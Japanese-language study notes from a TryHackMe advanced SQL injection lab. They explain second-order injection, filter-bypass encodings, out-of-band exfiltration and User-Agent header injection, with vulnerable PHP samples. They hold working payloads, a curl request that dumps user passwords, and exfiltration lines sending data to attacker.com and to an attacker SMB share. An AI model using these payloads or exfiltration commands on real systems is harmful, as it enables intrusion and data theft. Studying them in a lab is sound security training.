コースURL : https://tryhackme.com/room/advancedsqlinjection
Stored SQL Injection
- ユーザーが入力したデータが保存され、その後アプリケーションの別の部分で、使用される脆弱性を悪用する
- 悪意のあるSQLコードがSQL構文エラーやその他の明らかな問題を直ちに引き起こさない
- 標準的な入力検証技術では検出が困難で、より巧妙
- インジェクションは、データが取得されSQLコマンドで使用される2度目の使用時に発生するため、「セカンドオーダー」と呼ばれる
危険性
- 基本的な入力検証やサニタイズといった、データ入力時にのみ行われる典型的なフロントエンド防御を回避できること
- ペイロードは最初の段階では混乱を招かないため、手遅れになるまで見過ごされやすく、攻撃のステルス性が高くなる
検出
- Stored SQL Injeectionは検出が難しい
- 従来のSQLインジェクションがリアルタイムの処理上の脆弱性を悪用する
- Stored SQL Injectionは、以前にデータベースに保存されたデータが、後のSQLクエリ内で再利用される際に発生する
- この脆弱性を検出するには、アプリケーション内でのデータの流れと再利用の方法を理解する必要があり、バックエンドの動作について深い知識が求められる
主な脆弱性の発生するポイント
-
パラメータ化されたクエリが使用されていないこと
- パラメータ化は、SQLインジェクションを防ぐ上で非常に重要
-
アプリケーションが過去に保存された(かつ汚染されている可能性のある)データを調査する
- その汚染された可能性のあるデータを使って、パラメータ化もサニタイズもされていないSQL文で更新処理が行われているかを検証する
検出チートシート
例
例
こんな感じで、本を登録するphpのページを題材にする
以下は、アプリケーションで書籍を追加するために使用されているPHPコードの抜粋
if (isset($_POST['submit'])) {
$ssn = $conn->real_escape_string($_POST['ssn']);
$book_name = $conn->real_escape_string($_POST['book_name']);
$author = $conn->real_escape_string($_POST['author']);
$sql = "INSERT INTO books (ssn, book_name, author) VALUES ('$ssn', '$book_name', '$author')";
if ($conn->query($sql) === TRUE) {
echo "<p class='text-green-500'>New book added successfully</p>";
} else {
echo "<p class='text-red-500'>Error: " . $conn->error . "</p>";
}
}
real_escape_string()関数で、即時のSQLインジェクションのリスクをある程度軽減できるが、この手法では、StoredSQL Injectionを防ぐことはできない
test'
と入力してみても、ここでは何も起こっていないように見える
update.phpというページでは、書籍の詳細を更新できる機能がある
- 過去に保存されたデータをもとに既存の書籍情報を取得し、それを編集可能なフォームフィールドとして表示し、ユーザーの入力に基づいて情報を更新するようになっている
- アプリケーションが過去に保存された(かつ汚染されている可能性のある)データ、たとえば book_name を再利用していないかを調査する
- 更新機能を悪用することで、挿入段階で仕込んだ悪意あるペイロードが、更新操作時に実行されるかどうかを確認できる
update.phpはこのようになっている
- 目的 : ユーザーが BookStore データベース内の書籍情報を更新
if ( isset($_POST['update'])) { //リクエストメソッドが POST であり、「更新」ボタンが押されたかどうかを確認する
$unique_id = $_POST['update']; //ユーザー入力を直接取得する
$ssn = $_POST['ssn_' . $unique_id];
$new_book_name = $_POST['new_book_name_' . $unique_id];
$new_author = $_POST['new_author_' . $unique_id];
//変数(ssn, new_book_name, new_author)は、書籍情報の更新クエリにそのまま使用する
// multi_query を使って複数のSQLクエリを一度に実行し、ログ情報を logs テーブルに挿入している
$update_sql = "UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '$ssn';
INSERT INTO logs (page) VALUES ('update.php');";
SSNを使って書籍情報を追加または変更できることが分かっている
- 通常の更新クエリはこのようになる
- SSNが123123のものに、本の名前と著者を入れるクエリ
UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '123123';
- しかし、入力を直接、SQLクエリに入れているので、攻撃者は悪用できる
SSNに以下のペイロードを入れると、
12345'; UPDATE books SET book_name = 'Hacked'; --
全ての本の名前をHackedに変更できる
UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '12345'; UPDATE books SET book_name = 'Hacked'; --
フィルター回避
- 単純なインジェクションは無効化されるケースが多い
使用する方法
-
文字コードエンコーディング
-
クォートを使わないSQLインジェクション
-
スペースが使えない環境での回避手法
-
技術を理解し活用することで、厳格な入力バリデーションやセキュリティ制御が施されたWebアプリケーションにも侵入できる可能性が高まる
文字コードエンコーディング
ORを||
に変更することで回避する
URLエンコーディング
- 特殊文字を%+16進数で表現
' OR 1=1--
→%27%20OR%201%3D1--
- 入力フィルターをすり抜け、DB側で正しくデコードされて実行される
16進数エンコーディング
- 文字列を16進数で指定し、フィルターを回避
SELECT * FROM users WHERE name = 'admin'
→SELECT * FROM users WHERE name = 0x61646d696e
- 文字を16進数で表現することで、攻撃者は入力を処理する前にこれらの値をデコードしないフィルターを回避できる
Unicodeエンコーディング
- Unicodeエスケープシーケンスで文字を表現
admin
→\u0061\u0064\u006d\u0069\u006e
- ASCIIのみに基づいたフィルターを回避可能
- データベースがエンコードされた入力を正しく処理するため、特定のASCII文字のみをチェックするフィルターを回避できる
例
こんな感じで、本を検索できるサイトが攻撃対象
- 検索機能を処理するPHPコード (search_books.php )は次のとおり
検索機能を処理するPHPコード (search_books.php )は次のとおり
$special_chars
で、規定されている文字列があったら、''
に置換される → 削除される- エラーが起きたら、SQLのエラーコードがそのまま表示される
$book_name = $_GET['book_name'] ?? '';
$special_chars = array("OR", "or", "AND", "and" , "UNION", "SELECT");
$book_name = str_replace($special_chars, '', $book_name);
$sql = "SELECT * FROM books WHERE book_name = '$book_name'";
echo "<p>Generated SQL Query: $sql</p>";
$result = $conn->query($sql) or die("Error: " . $conn->error . " (Error Code: " . $conn->errno . ")");
if ($result->num_rows > 0) {
while ($row = $result->fetch_assoc()) {
...
..
書籍を検索するためのユーザー インターフェイスを提供する index.html ページの Javascript コード
function searchBooks() {
const bookName = document.getElementById('book_name').value;
const xhr = new XMLHttpRequest();
xhr.open('GET', 'search_books.php?book_name=' + encodeURIComponent(bookName), true);
xhr.onload = function() {
if (this.status === 200) {
document.getElementById('results').innerHTML = this.responseText;
試しに、Intro to PHP' OR 1=1
を入力する
- ORキーワードが str_replace() によって削除され、意図したSQLが成立しなくなる
フィルター回避のためのURLエンコードペイロード
Intro to PHP' || 1=1 --+
ポイント
- ORを
||
で表すことによって回避する '
によって、SQLクエリ内の現在の文字列や値が閉じられる、その後の入力は新しいSQL文として扱われる|| 1=1
の部分は、SQLの OR演算子 を使って「常に真になる条件」- これによって、本来は特定の条件で絞り込まれるはずだった検索結果が、すべてのレコードを返すようになる
--
はSQLにおけるコメントの開始記号であり、以降のクエリを無視させる- SQL文の残りの部分で構文エラーや不要な条件が含まれていたとしても、それらを無効化することができる
+
はスペース(空白)- コメントの後にスペースを加えることで、コメントが正しく終了され、構文エラーが発生しないようにするために使われる
上を以下のようにURLエンコードされたペイロードを使用する
1%27%20||%201%3D1%20--+
ペイロード内の意味
%27
: 一重引用符 (') の URL エンコード%20
: スペース ( ) の URL エンコード||
: SQL OR 演算子を表す%3D
: 等号 (=) の URL エンコード%2D%2D
: SQL でコメントを開始する -- の URL エンコード+
: スペース扱い
勝手にURLエンコードされないようにするために、Getパラメータの中で入力する
http://10.10.120.190/encoding/search_books.php%20?book_name=Intro%20to%20PHP%27%20%7C%7C%201=1%20--+
その結果、以下のような入力になり、全てのテーブルの中身が表示される
SELECT * FROM books WHERE book_name = Intro to PHP' || 1=1
クォートなしSQLインジェクション
- アプリケーションがシングルクォートやダブルクォートをフィルタリングしたり、エスケープしたりする場合に用いられる
数値を使用する
- クォートを必要としない数値や他のデータ型を使用する方法がある
- 例
' OR '1'='1
を挿入する代わりに、クォートが不要なコンテキストでOR 1=1
を使用する
- 特定のクォートのエスケープや除去を探すフィルターをバイパスし、インジェクションの進行を可能にする
SQLコメントを使用する
- SQLコメントを使用してクエリの残りの部分を終了させる方法
- 例
- 入力
admin'--
はadmin--
に変換する
- 入力
- ここで
--
はSQLにおけるコメントの開始を示し、SQLステートメントの残りを事実上無視します。これはフィルターをバイパスし、構文エラーを防ぐのに役立つ
CONCAT()関数を使用する
CONCAT()
のようなSQL関数を使用してクォートなしで文字列を構築する- 例
CONCAT(0x61, 0x64, 0x6d, 0x69, 0x6e)
は文字列「admin」を構築する
CONCAT()
関数や同様の方法により、攻撃者はクォートを直接使用せずに文字列を構築できるため、フィルターがペイロードを検出してブロックするのが難しくなる
スペースが許可されない場合
- スペースが許可されない、またはフィルターで除去される場合のバイパスのためのテクニック
コメントをスペースの代わりに使う
-
一般的な方法の1つは、SQLコメント(
/**/
)をスペースの代わりに使用すること- 例えば、
SELECT * FROM users WHERE name = 'admin'
の代わりに、攻撃者はSELECT/**/*FROM/**/users/**/WHERE/**/name/**/='admin'
を使用できる
- 例えば、
-
SQLコメントはクエリ内のスペースを置き換えることができ、ペイロードがスペースを除去またはブロックするフィルターをバイパスするのを助ける
-
タブまたは改行文字
- 別の方法は、スペースの代替としてタブや改行文字を使用すること
- CyberChefなどでエンコードする時は入力しないとダメ
- 例
- 別の方法は、スペースの代替としてタブや改行文字を使用すること
-
一部のフィルターはこれらの文字を許可する可能性があり、攻撃者が
SELECT\t*\tFROM\tusers\tWHERE\tname\t=\t'admin'
のようなクエリを構築することを可能にする -
このテクニックは、スペースを特に探すフィルターをバイパスできる
例
http://10.10.120.190/space/search_users.php?username=?
というエンドポイントがあって、提供されたユーザー名に基づいてユーザーの詳細を返す
- 開発者は、SQLインジェクション攻撃から保護するために、
OR
、AND
、およびスペース(%20
)などの一般的なSQLインジェクションキーワードをブロックするフィルターを実装している
PHPフィルター
$special_chars = array(" ", "AND", "and" ,"or", "OR" , "UNION", "SELECT");
$username = str_replace($special_chars, '', $username);
$sql = "SELECT * FROM user WHERE username = '$username'";
エンドポイントで標準のペイロード1%27%20||%201=1%20--+
を使用すると、URLエンコーディングを使用しても機能しないことがわかる
本来はこうなればいいんだけど、スペースが省略されているので、エラーになる
SELECT * FROM user WHERE username = '1' OR 1=1 --'
本当のタブを入力してエンコードしないといけない
作成したペイロードを実行することで、スペースフィルターバイパスできた
Out-of-band SQL Injection
- 帯域外(OOB)SQLインジェクション
- 直接的または従来のメソッドが効果的でない場合に、ペンテスターやレッドチームがデータ抽出や悪意のあるアクションを実行するために使用する攻撃テクニック
- 攻撃者が攻撃とデータ取得のために同じチャネルに依存するインバンドSQLインジェクションとは異なり、帯域外SQLインジェクションはペイロードの送信と応答の受信に別々のチャネルを利用する
- 帯域外テクニックは、データベースサーバーがアクセスできる可能性のあるHTTPリクエスト、DNSクエリ、SMBプロトコル、その他のネットワークプロトコルなどの機能を活用し、攻撃者がファイアウォール、侵入検知システム、その他のセキュリティ対策を回避できるようにする
- 帯域外SQLインジェクションの主な利点の1つは、そのステルス性と信頼性
- 異なる通信チャネルを使用することで、攻撃者は検出のリスクを最小限に抑え、侵害されたシステムとの永続的な接続を維持できる
OOB を選ぶ理由
- サニタイズや制限が厳しい場合
- ストアドプロシージャ、出力エンコード、アプリ側の制約などによりサーバーからの直接応答が封じられていても、DNS や HTTP といった別経路ならデータを流せる
- IDS/WAF の回避
- IDSやWAFは怪しいSQL応答を監視しますが、DNSやSMBといったプロトコルは対象外の場合がある
- OOB経路なら検知されにくい
- セグメント間通信が制限された環境
- ファイアウォール越しや別ネットワーク内のDBなど、攻撃者が直接つなげないケースでもOOBなら可能性がある
引用 : https://tryhackme.com/room/advancedsqlinjection
- ファイアウォール越しや別ネットワーク内のDBなど、攻撃者が直接つなげないケースでもOOBなら可能性がある
データベースごとのテクニック
MySQL・MariaDB
SELECT ... INTO OUTFILE
またはload_file
コマンドを使用できる- 攻撃者はクエリの結果をサーバーのファイルシステム上のファイルに書き込むことができる
- データベースサーバー上で実行されているSMB共有またはHTTPサーバーを介してこのファイルにアクセスし、それによって代替チャネルを介してデータを抽出できる
例
SELECT sensitive_data FROM users INTO OUTFILE '/tmp/out.txt';
Microsoft SQL Server (MSSQL)
xp_cmdshell
を使用する- ネットワーク共有からアクセス可能なファイルにデータを書き込むために活用できる
- まあ、普通にコマンド使えるから便利だよね
EXEC xp_cmdshell 'bcp "SELECT sensitive_data FROM users" queryout "\\10.10.58.187\logs\out.txt" -c -T';
Oracle
- 帯域外SQLインジェクションは
UTL_HTTP
またはUTL_FILE
パッケージを使用して実行できる - UTL_HTTPパッケージは機密データを含むHTTPリクエストを送信するために使用できる
DECLARE
req UTL_HTTP.REQ;
resp UTL_HTTP.RESP;
BEGIN
req := UTL_HTTP.BEGIN_REQUEST('http://attacker.com/exfiltrate?sensitive_data=' || sensitive_data);
UTL_HTTP.GET_RESPONSE(req);
END;
代表的なOOB実装例
HTTPリクエスト
- UDFや外部スクリプト経由でHTTP POST
SELECT http_post('http://attacker.com/exfiltrate', sensitive_data) FROM books;
- HTTPリクエストによるデータ抽出は、データベースがHTTPリクエストを可能にする外部スクリプトまたはUDFをサポートしているかどうかに応じて、WindowsおよびLinux (Ubuntu) システムで実装できる
DNSエクスフィルトレーション
- 攻撃者はSQLクエリを使用して、エンコードされたデータを含むDNSリクエストを生成し、それを攻撃者によって制御されている悪意のあるDNSサーバーに送信できる
- HTTPベースの監視システムをバイパスし、DNSルックアップを実行するデータベースの機能を活用する
- MySQLはSQLコマンド単独でDNSリクエストの生成をネイティブにサポートしていない
- 攻撃者はカスタムユーザー定義関数(UDF)やシステムレベルのスクリプトなど、他の手段を使用してDNSルックアップを実行する必要
UDFやOSスクリプトでDNSクエリにデータを埋め込み送信(MySQLは標準機能なし)
- 攻撃者はカスタムユーザー定義関数(UDF)やシステムレベルのスクリプトなど、他の手段を使用してDNSルックアップを実行する必要
SMBエクスフィルトレーション
SELECT sensitive_data
INTO OUTFILE '\\\\10.10.162.175\\logs\\out.txt';
- WindowsはUNCパスをそのまま扱え、LinuxでもSMB共有をマウントすれば利用可能
例
- SMB共有を立ち上げる
cd /opt/impacket/examples
python3.9 smbserver.py -smb2support -comment "My Logs Server" -debug logs /tmp
smbclient //ATTACKBOX_IP/logs -U guest -N
- 脆弱なWebアプリを確認
http://10.10.120.190/oob/search_visitor.php?visitor_name=Tim
- このvisitor_nameの部分にOut-of-band SQLiを行う
- 脆弱なSQL
$visitor_name = $_GET['visitor_name'] ?? '';
$sql = "SELECT * FROM visitor WHERE name = '$visitor_name'";
- secure_file_priv に注意
- 値あり: そのディレクトリにしか書けない
- 空白: どこへでも書き込み可
- 攻撃者は試行錯誤で書き込み可否を確認する。
- ペイロード
1'; SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt'; --
http://10.10.120.190/oob/search_visitor.php?visitor_name=1%27;%20SELECT%20@@version%20INTO%20OUTFILE%20%27\\\\10.10.27.32\\logs\\out.txt%27;%20--
- 結果確認
@@versionの値をout.txtとして取得できた
ls /tmp
out.txt
root@ip-10-10-27-32:/tmp# cat out.txt
10.4.24-MariaDB
HTTPヘッダー Injection
- HTTPヘッダーにはユーザー入力が含まれることがあり、それがサーバー側でSQLクエリに使用される場合がある
- HTTPヘッダー(
User-Agent
、Referer
、X-Forwarded-For
など)を操作してSQLコマンドを注入する - サーバーがこれらのヘッダーをログに記録したり、SQLクエリに使用する場合、それが脆弱性となる
- 悪意のあるUser-Agentヘッダーの例
- ヘッダーがサニタイズされずにSQL文に含まれると、SQLインジェクションが発生する
User-Agent: ' OR 1=1; --
例
http://10.10.120.190/httpagent/
- WebアプリケーションがHTTPリクエストのUser-Agentヘッダーをデータベースのlogsというテーブルに記録する
- logsテーブルに記録されたすべてのエントリを表示するエンドポイントを提供している
- ユーザーがWebページにアクセスすると、ブラウザはブラウザとオペレーティングシステムを識別するUser-Agentヘッダーを送信する
考えうるSQLインジェクション
User-Agent
ヘッダーをUser-Agent: ' UNION SELECT username, password FROM user; --
のような悪意のある値に設定するlogs
テーブルからの結果をuser
テーブルからの機密データと結合するSQLコードを注入しようとする
ログを挿入するサーバーサイドコード
- User-Agent 値は、INSERT SQL文を使用してログテーブルに挿入される
- 挿入が成功した場合は、成功メッセージが表示されます。挿入中にエラーが発生した場合は、詳細を含むエラーメッセージが表示される
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$insert_sql = "INSERT INTO logs (user_Agent) VALUES ('$userAgent')";
if ($conn->query($insert_sql) === TRUE) {
echo "<p class='text-green-500'>New logs inserted successfully</p>";
} else {
echo "<p class='text-red-500'>Error: " . $conn->error . " (Error Code: " . $conn->errno . ")</p>";
}
$sql = "SELECT * FROM logs WHERE user_Agent = '$userAgent'";
.....
ペイロード
UNION SELECT username, password FROM user; #
ポイント
- 既存の文字列リテラルを閉じる: 最初の一重引用符 (
'
) は、SQL クエリ内の既存の文字列リテラルを閉じるため - UNION SELECT ステートメントを挿入します。
UNION SELECT username, password FROM user;
ペイロードの部分は、ユーザー テーブルからユーザー名とパスワードの列を取得するため - クエリの残りの部分をコメント アウト: この文字は、 SQLクエリの残りの部分をコメント アウトするため
このペイロードを挿入するには、 HTTPリクエストのUser-Agentヘッダーの一部として送信する必要がある
curlコマンドの-Hで送れるよ
└─$ curl -H "User-Agent: ' UNION SELECT username, password FROM user; # " http://10.10.120.190/httpagent/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SQL Injection </title>
<link href="../css/tailwind.min.css" rel="stylesheet">
</head>
<body class="bg-gray-100">
<div class="container mx-auto p-8">
<h1 class="text-4xl font-bold mb-8 text-center">HTTP Logs</h1>
<div class="bg-white p-6 rounded-lg shadow-lg">
<p class='text-gray-600 text-sm mb-4'>Generated SQL Query: <span class='text-red-500'>SELECT * FROM logs WHERE user_Agent = '' UNION SELECT username, password FROM user; #'</span></p><div class='p-4 bg-gray-100 rounded shadow mb-4'><p class='font-bold'>id: <span class='text-gray-700'>bob</span></p><p class='font-bold'>user_Agent: <span class='text-gray-700'>bob@123</span></p></div><div class='p-4 bg-gray-100 rounded shadow mb-4'><p class='font-bold'>id: <span class='text-gray-700'>attacker</span></p><p class='font-bold'>user_Agent: <span class='text-gray-700'>tesla</span></p></div>
</div>
</div>
</body>
</html>
ストアドプロシージャ
- 単一のユニットとして実行できるプリコンパイル済みのSQL文
- データベースに保存されるルーチンであり、データの挿入、更新、クエリなど、様々な操作を実行できる
- パフォーマンスの向上と一貫性の確保に役立つ
- 適切に処理されない場合、 SQLインジェクションの脆弱性を生じる可能性がある
引用 : https://tryhackme.com/room/advancedsqlinjection
例
- ユーザー名に基づいてユーザー データを取得するように設計されたストアド プロシージャを考えてみる
CREATE PROCEDURE sp_getUserData
@username NVARCHAR(50)
AS
BEGIN
DECLARE @sql NVARCHAR(4000)
SET @sql = 'SELECT * FROM users WHERE username = ''' + @username + ''''
EXEC(@sql)
END
- ストアドプロシージャは@usernameパラメータを動的SQLクエリに連結している
- 入力がサニタイズされていないため、SQLインジェクションに対して脆弱
XMLおよびJSONインジェクション
- XMLまたはJSONデータを解析し、解析結果をSQLクエリで使用するアプリケーションは、入力データを適切にサニタイズしないと、インジェクションの脆弱性を悪用される可能性がある
- XMLおよびJSONインジェクションとは、悪意のあるデータをXMLまたはJSON構造に挿入し、それをSQLクエリで使用すること
- アプリケーションが解析結果をSQL文で直接使用した場合に発生する可能性がある
ペイロードの例
{
"username": "admin' OR '1'='1--",
"password": "password"
}
SELECT * FROM users WHERE username = 'admin' OR '1'='1'-- AND password =
みたいに直接使ってると、インジェクション起こる可能性あるよね
自動化
- 脆弱性の特定と悪用を自動化することは困難を伴う場合があるが、このプロセスを効率化するためにいくつかのツールとテクニックが開発されている
特定するときの課題
-
SQLクエリの動的な性質
- SQLクエリが動的に構築されるため、インジェクションのポイントを特定するのが難しくなる
- 複雑なロジックを含む多層のクエリでは、脆弱性が隠れてしまうこともある
-
インジェクションポイントの多様性
- SQLインジェクションは、入力フィールド、HTTPヘッダー、URLパラメータなど、アプリケーションのさまざまな部分で発生する可能性がある
- すべての潜在的なポイントを特定するには、アプリケーションに対する包括的な理解と徹底的なテストが必要
-
セキュリティ対策の使用
- アプリケーションによっては、プリペアドステートメント、パラメータ化クエリ、ORM(オブジェクト関係マッピング)を使用しており、SQLインジェクションを防いでいる場合がある
- 自動化ツールは、安全なクエリと危険なクエリを正しく区別できる必要がある
-
コンテキスト依存の検出
- ユーザー入力が使用されるSQLクエリの文脈は多様
- ツールは、さまざまなコンテキストに適応しなければ、脆弱性を正確に特定できない
自動化ツール
- SQLMap
- SQLNinja
- Microsoft SQL Serverをバックエンドに使っているWebアプリケーションのSQLインジェクション脆弱性を悪用するためのツール
- JSQL Injection
- JavaアプリケーションにおけるSQLインジェクションの検出に特化したJavaライブラリ
- BBQSQL
- Blind SQLインジェクションの自動化された悪用に特化したフレームワーク